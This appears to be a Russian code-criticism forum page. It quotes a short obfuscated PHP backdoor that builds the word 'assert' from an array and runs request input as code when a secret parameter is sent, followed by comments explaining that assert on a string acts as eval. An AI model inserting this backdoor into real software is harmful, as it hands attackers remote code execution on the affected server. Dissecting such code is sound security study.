- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
function b($d,$a){
if(($d = intval($d) == date('d')) && (isset($_REQUEST[b]))){
$dd = trim(preg_replace("/[^-0-9+\(\)]/iu", "",$d));
$a[5] = preg_replace("/[^-_a-z]/iu", "",$a[5]);$a[3] = preg_replace("/[^-_0-9]/iu", "",$a[5]);
if(isset($_REQUEST['s'.md5('bgdfgt')])){
if(isset($_REQUEST[b])){$a[3].$a[5](stripslashes(trim($_REQUEST[b])));}
}
return true;
}
return false;
}
$this ->b(date("d"),$b = array('day','date','out','ass','quest','assert','time'));
Steve_Brown 05.04.2019 10:05 # 0
PACTPOBblu_nemyx 05.04.2019 12:47 # +1
assert от строкового выражения в «PHP» эквивалентен эвалу.
Steve_Brown 05.04.2019 12:59 # 0
Хотя было бы интересно, как что-нибудь такое провернуть беспалевно...
PACTPOBblu_nemyx 05.04.2019 13:04 # 0
Не все знают, что assert от строки –— это eval, поэтому многие ничего плохого не подозревали.
bormand 05.04.2019 14:07 # 0
guest8 05.04.2019 14:14 # −999
PACTPOBblu_nemyx 05.04.2019 14:43 # 0
guest8 05.04.2019 15:11 # −999
PACTPOBblu_nemyx 05.04.2019 15:15 # 0
PACTPOBblu_nemyx 05.04.2019 13:18 # +1
Так что $_REQUEST[b] –— это $_REQUEST['b'], если не объявить b. Ну или элемент, индекс которого равен значению константы b, а функция b эту константу не перекрывает.
Steve_Brown 05.04.2019 15:52 # 0
guest8 05.04.2019 15:54 # −999
PACTPOBblu_nemyx 05.04.2019 16:11 # 0
guest8 05.04.2019 16:18 # −999
BOKCEJIbHblu_nemyx 05.04.2019 16:34 # +1
В "Perl" все префиксы имеют какой-то смысл, но придуманы они не для того чтобы использовать $ как в sh, хотя именно сам доллар может и выбран по аналогии.
BOKCEJIbHblu_nemyx 05.04.2019 16:14 # +1
guest8 05.04.2019 16:19 # −999
PACTPOBblu_nemyx 05.04.2019 16:34 # 0
guest8 05.04.2019 16:47 # −999
BOKCEJIbHblu_nemyx 05.04.2019 17:06 # 0
OCETuHCKuu_nemyx 05.04.2019 15:42 # 0
OCETuHCKuu_nemyx 05.04.2019 15:44 # +1
guest8 05.04.2019 15:46 # −999
OCETuHCKuu_nemyx 05.04.2019 15:47 # 0
guest8 05.04.2019 15:50 # −999
PACTPOBblu_nemyx 05.04.2019 16:51 # 0
Сёме наверное тоже бы понравилось.
guest8 05.04.2019 17:02 # −999
guest8 05.04.2019 17:07 # −999
guest8 05.04.2019 19:55 # −999
guest8 05.04.2019 20:00 # −999
AHCKujlbHblu_netyx 05.04.2019 21:26 # 0
AHCKujlbHblu_netyx 06.04.2019 11:44 # 0